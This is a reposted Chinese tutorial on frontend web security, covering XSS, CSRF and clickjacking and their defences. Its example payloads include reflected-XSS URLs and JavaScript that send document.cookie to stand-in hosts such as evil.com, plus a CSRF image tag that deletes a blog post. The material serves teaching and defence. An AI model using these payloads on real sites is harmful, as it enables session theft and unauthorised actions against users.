转自:https://cloud.tencent.com/developer/article/1136202
安全问题的分类
按照所发生的区域分类
- 后端安全问题:所有发生在后端服务器、应用、服务当中的安全问题
- 前端安全问题:所有发生在浏览器、单页面应用、Web 页面当中的安全问题
按照团队中哪个角色最适合来修复安全问题分类
- 后端安全问题:针对这个安全问题,后端最适合来修复
- 前端安全问题:针对这个安全问题,前端最适合来修复
综合以上
浏览器安全
同源策略
是一种约定,是浏览器最核心也最基本的安全功能,限制了来自不同源的 document 或者脚本,对当前 document 读取或设置某些属性
- 影响 “源” 的因素有:host(域名或者 IP 地址)、子域名、端口、协议
- 对浏览器来说,DOM、Cookie、XMLHttpRequest 会受到同源策略的限制
不受同源策略的标签
<script>、<img>、<iframe>、<link>
等标签都可以跨域加载资源,而不受同源策略的限制
- 这些带 “src” 属性的标签每次加载时,浏览器会发起一次 GET 请求
- 通过 src 属性加载的资源,浏览器限制了 javascript 的权限,使其不能读、写返回的内容
三大前端安全问题
1、跨站脚本攻击(XSS)
定义
英文全称:Cross Site Script,XSS 攻击,通常指黑客通过 “HTML 注入” 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击
本质
是一种“HTML 注入”,用户的数据被当成了 HTML 代码一部分来执行,从而产生了新的语义
XSS 的分类
1、反射型 XSS:将用户输入的数据反射给浏览器。黑客需要诱使用户 “点击” 一个恶意链接,才能攻击成功。
举个例子:
- 假设在某购物网站上搜商品,当搜不到商品时会出现
此时的 URL 是 https://category.vip.com/suggest.php?keyword=xss&ff=235|12|1|1
- 在搜索框输入
<script>alert('xss')</script>
- 如果前端页面没有对搜索框的内容进行过滤,而是直接发送,这时,URL 地址栏应该会显示
https://category.vip.com/suggest.php?keyword=<script>alert('xss')</script>&ff=235|12|1|1
,从而 alert 出 xss,但事实却是已经转码了的:https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1
- 假设前端页面没有进行处理,那么攻击者就可以通过构造来获取用户的 cookie 的地址,来诱使用户来访问这个地址,比如说
https://category.vip.com/suggest.php?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>&ff=235|12|1|1
2、存储型 XSS:把用户输入的数据 “存储” 在服务器端,这种 XSS 具有很强的稳定性。
比如说,黑客写下一篇包含恶意 javascript 代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在浏览器中执行这段恶意的 javascript 代码,黑客把恶意的脚本保存到服务器端
3、DOM Based XSS:通过修改页面的 DOM 节点形成的 XSS。
举个例子:
在输入框中输入内容后点击 write
此时再点击 a 链接
原理: 首先用一个单引号闭合掉 href 的第一个单引号,然后插入一个 onclick 事件,最后再用注释符 “//“ 注释掉第二个单引号。点击此链接,脚本将被执行。
XSS Payload 攻击
定义
XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为 XSS Payload。实际上就是 Javascript 脚本(或者 Flash 或其他富客户端的脚本),所以 XSS Payload 能够做到任何 javascript 脚本能实现的功能
实例
- 通过读取浏览器的 cookie 对象,从而发起 “cookie 劫持” 攻击
- 攻击者首先加载一个远程脚本
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>
- 真正的 XSS Payload 写在这个远程脚本中,避免直接在 URL 的参数里写入大量的 Javascript 代码
- 在 evil.js 中,通过如下代码窃取 cookie
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
- 以上代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器中
- http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的 Web 日志中留下记录
127.0.0.1 - - [119/Jul/2010:11:30:42 + 0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
- 通过模拟 GET、POST 请求操作用户的浏览器(在 “cookie 劫持” 失效时,或者目标用户的网络不能访问互联网等情况时会非常有用)
- 假设某博客页面存在 XSS 漏洞,那么可以通过构造 get 请求操作用户浏览器
- 假设正常删除博客文章的链接为
http://blog.test.com/manage/entry.do?m=delete&id=1245862
- 对于攻击者来说,只需要知道文章的 id,就能够通过这个请求来删除这篇文章
- 攻击者可以通过插入一张图片来发起一个 get 请求
- 攻击者只需要让博客作者执行这段 javascript 代码也就是 XSS Payload,就会删除这篇文章
XSS 的防御
1、HttpOnly
浏览器禁止页面的 Javascript 访问带有 HttpOnly 属性的 cookie。(实质解决的是:XSS 后的 cookie 劫持攻击)如今已成为一种 “标准” 的做法
不同语言给 cookie 添加 HttpOnly 的方式不同,比如
- JavaEE:
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
- PHP4:
header("Set-Cookie:hidden=value;httpOnly");
- PHP5:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE); //true 为 HttpOnly 属性
2、输入检查(XSS Filter)
- 原理:让一些基于特殊字符的攻击失效。(常见的 Web 漏洞如 XSS、SQLInjection 等,都要求攻击者构造一些特殊字符)
- 输入检查的逻辑,必须放在服务器端代码中实现。* 目前 Web 开发的普遍做法,是同时哎客户端 Javascript 中和服务端代码中实现相同的输入检查。客户端的输入检查可以阻挡大部分误操作的正常用户,节约服务器资源。
3、输出检查
在变量输出到 HTML 页面时,使用编码或转义的方式来防御 XSS 攻击
- 针对 HTML 代码的编码方式:HtmlEncode
- PHP:htmlentities()和 htmlspecialchars()两个函数
- Javascript:JavascriptEncode(需要使用 “\” 对特殊字符进行转义,同时要求输出的变量必须在引号内部)
- 在 URL 的 path(路径)或者 search(参数)中输出,使用 URLEncode
具体实施可以参考:http://www.cnblogs.com/lovesong/p/5211667.html
防御 DOM Based XSS
- DOM Based XSS 的形成: (举个例子)
- 实质: 从 Javascript 中输出数据到 HTML 页面里
- 这个例子的解决方案: 做一次 HtmlEncode
防御方法:分语境使用不同的编码函数
总结
XSS 漏洞虽然复杂,但是却是可以彻底解决的。在设计解决方案时,应该针对不同场景理解 XSS 攻击的原理,使用不同的方法
2、CSRF(跨站点请求伪造)
什么是 CSRF
首先来看个例子:
攻击者首先在自己的域构造一个页面:
http://www.a.com/csrf.html
,其内容为<img src="http://blog.sohu.com/manage/entry.do?m=deleted&id=156714243" />
使用了一个 img 标签,其地址指向了删除 Iid 为 156714243 的博客文章
然后攻击者诱使目标用户,也就是博客主人访问这个页面
用户进去看到一张无法显示的图片,这时自己的那篇博客文章已经被删除了
原理: 在刚才访问 http://www.a.com/csrf.html
页面时,图片标签向服务器发送了一次 get 请求,这次请求导致了博客文章被删除
这种删除博客文章的请求,是攻击者伪造的,所以这种攻击就叫做“跨站点请求伪造”
CSRF 的原理
参考上图,我们可以总结,完成一次 CSRF 攻击,必须满足两个条件
- 用户登录受信任网站 A,并且在本地生成 Cookie
- 在不登出网站 A 的情况下,访问危险网站 B
CSRF 本质
CSRF 攻击是攻击者利用用户身份操作用户账户的一种攻击方式
CSRF 的防御
CSRF 能攻击成功的本质原因: 重要操作的所有参数都是可以被攻击者猜测到的
解决方案
1、验证码
CSRF 攻击过程中,用户在不知情的情况下构造了网络请求,添加验证码后,强制用户必须与应用进行交互
- 优点:简洁而有效
- 缺点:网站不能给所有的操作都加上验证码
2、Referer Check
利用 HTTP 头中的 Referer 判断请求来源是否合法
Referer 首部包含了当前请求页面的来源页面的地址
- 优点:简单易操作(只需要在最后给所有安全敏感的请求统一添加一个拦截器来检查 Referer 的值就行)
缺点:服务器并非什么时候都能取到 Referer
- 很多出于保护用户隐私的考虑,限制了 Referer 的发送。
- 比如从 HTTPS 跳转到 HTTP,出于安全的考虑,浏览器不会发送 Referer
浏览器兼容性
关于 Referer 的更多详细资料:https://75team.com/post/everything-you-could-ever-want-to-know-and-more-about-controlling-the-referer-header-fastmail-blog.html
3、使用 Anti CSRF Token
- 比如一个删除操作的 URL 是:
http://host/path/delete?uesrname=abc&item=123
- 保持原参数不变,新增一个参数 Token,Token 值是随机的,不可预测
http://host/path/delete?username=abc&item=123&token=[random(seed)]
由于 Token 的存在,攻击者无法再构造出一个完整的 URL 实施 CSRF 攻击
- 优点:比检查 Referer 方法更安全,并且不涉及用户隐私
- 缺点:对所有的请求都添加 Token 比较困难
更多关于 CSRF 详细可参考:
- CSRF 攻击的应对之道:https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
- CSRF 原理剖析:http://netsecurity.51cto.com/art/200812/102951.htm
- 维基百科 CSRF:https://en.wikipedia.org/wiki/Cross-site_request_forgery
- CSRF 实例:http://netsecurity.51cto.com/art/200812/102925.htm
需要注意的点:
- Token 需要足够随机,必须用足够安全的随机数生成算法
- Token 应该为用户和服务器所共同持有,不能被第三方知晓
- Token 可以放在用户的 Session 或者浏览器的 Cookie 中
- 尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以 form 表单的形式提交,可以避免 Token 泄露(比如一个页面:
http://host/path/manage?username=abc&token=[random]
,在此页面用户需要在这个页面提交表单或者单击 “删除” 按钮,才能完成删除操作,在这种场景下,如果这个页面包含了一张攻击者能指定地址的图片<img src="http://evil.com/notexist" />
,则这个页面地址会作为 HTTP 请求的 Refer 发送到 evil.com 的服务器上,从而导致 Token 泄露)
XSRF 攻击
当网站同时存在 XSS 和 CSRF 漏洞时,XSS 可以模拟客户端浏览器执行任意操作,在 XSS 攻击下,攻击者完全可以请求页面后,读取页面内容中的 Token 值,然后再构造出一个合法的请求
结论
安全防御的体系应该是相辅相成、缺一不可的
3、点击劫持(ClickJacking)
什么是点击劫持
点击劫持是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的 iframe,覆盖在一个网页上,然后诱使用户在网页上进行操作,此时用户将在不知情的情况下点击透明的 iframe 页面。通过调整 iframe 页面的位置,可以诱使用户恰好点击在 iframe 页面的一些功能性按钮上。
防御点击劫持:X-Frame-Options
X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面能否在 <frame>、<iframe>、<object>
中展现的标记
有三个可选的值
- DENY:浏览器会拒绝当前页面加载任何 frame 页面(即使是相同域名的页面也不允许)
- SAMEORIGIN:允许加载 frame 页面,但是 frame 页面的地址只能为同源域名下的页面
- ALLOW-FROM:可以加载指定来源的 frame 页面(可以定义 frame 页面的地址)
浏览器的兼容性
小结
综合以上三大前端安全,我们可以总结
- 谨慎用户输入信息,进行输入检查(客户端和服务端同时检查)
- 在变量输出到 HTML 页面时,都应该进行编码或转义来预防 XSS 攻击
- 该用验证码的时候一定要添上
- 尽量在重要请求上添加 Token 参数,注意 Token 要足够随机,用足够安全的随机数生成算法